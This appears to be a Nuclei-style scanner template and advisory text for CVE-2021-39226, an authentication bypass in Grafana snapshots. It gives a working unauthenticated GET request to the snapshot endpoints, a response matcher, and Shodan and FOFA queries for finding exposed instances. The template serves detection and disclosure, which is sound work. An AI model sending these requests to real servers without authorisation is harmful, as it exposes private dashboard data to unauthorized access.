Grafana instances up to 7.5.11 and 8.1.5 allow remote unauthenticated users to view the snapshot associated with the lowest database key by accessing the literal paths /api/snapshot/:key or /dashboard/snapshot/:key. If the snapshot is in public mode, unauthenticated users can delete snapshots by accessing the endpoint /api/snapshots-delete/:deleteKey. Authenticated users can also delete snapshots by accessing the endpoints /api/snapshots-delete/:deleteKey, or sending a delete request to /api/snapshot/:key, regardless of whether or not the snapshot is set to public mode (disabled by default).
PoC
id: CVE-2021-39226
info:
name: Grafana Snapshot - Authentication Bypass
author: Evan Rubinstein,matejsmycka
severity: high
description: Grafana instances up to 7.5.11 and 8.1.5 allow remote unauthenticated users to view the snapshot associated with the lowest database key by accessing the literal paths /api/snapshot/:key or /dashboard/snapshot/:key. If the snapshot is in public mode, unauthenticated users can delete snapshots by accessing the endpoint /api/snapshots-delete/:deleteKey. Authenticated users can also delete snapshots by accessing the endpoints /api/snapshots-delete/:deleteKey, or sending a delete request to /api/snapshot/:key, regardless of whether or not the snapshot is set to public mode (disabled by default).
impact: |
An attacker can bypass authentication and gain unauthorized access to Grafana Snapshot feature.
remediation: 'This issue has been resolved in versions 8.1.6 and 7.5.11. If you cannot upgrade you can block access to the literal paths: /api/snapshots/:key, /api/snapshots-delete/:deleteKey, /dashboard/snapshot/:key, and /api/snapshots/:key. They have no normal function and can be disabled without side effects.'
reference:
- https://github.com/advisories/GHSA-69j6-29vr-p3j9
- https://nvd.nist.gov/vuln/detail/CVE-2021-39226
- https://github.com/grafana/grafana/commit/2d456a6375855364d098ede379438bf7f0667269
- https://grafana.com/docs/grafana/latest/release-notes/release-notes-8-1-6/
- http://www.openwall.com/lists/oss-security/2021/10/05/4
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
cvss-score: 7.3
cve-id: CVE-2021-39226
cwe-id: CWE-287
epss-score: 0.99933
epss-percentile: 0.99969
cpe: cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: grafana
product: grafana
shodan-query:
- title:"Grafana"
- cpe:"cpe:2.3:a:grafana:grafana"
- http.title:"grafana"
fofa-query:
- title="grafana"
- app="grafana"
google-query: intitle:"grafana"
tags: cve2021,cve,grafana,kev,vkev,vuln
http:
- method: GET
path:
- "{{BaseURL}}/api/snapshots/:key"
- "{{BaseURL}}/dashboard/snapshot/:key"
matchers-condition: and
matchers:
- type: word
words:
- '"isSnapshot":true'
- type: status
status:
- 200
# digest: 4a0a00473045022031e919154091eb7d0b7b3c6e1932b4c61da29759c7458026b5acdab4ff752544022100f18fc43d4b1db6a4406264394f57c93b9013bed461c6ef85f3b7631ad61378a5:922c64590222798bb761d5b6d8e72950
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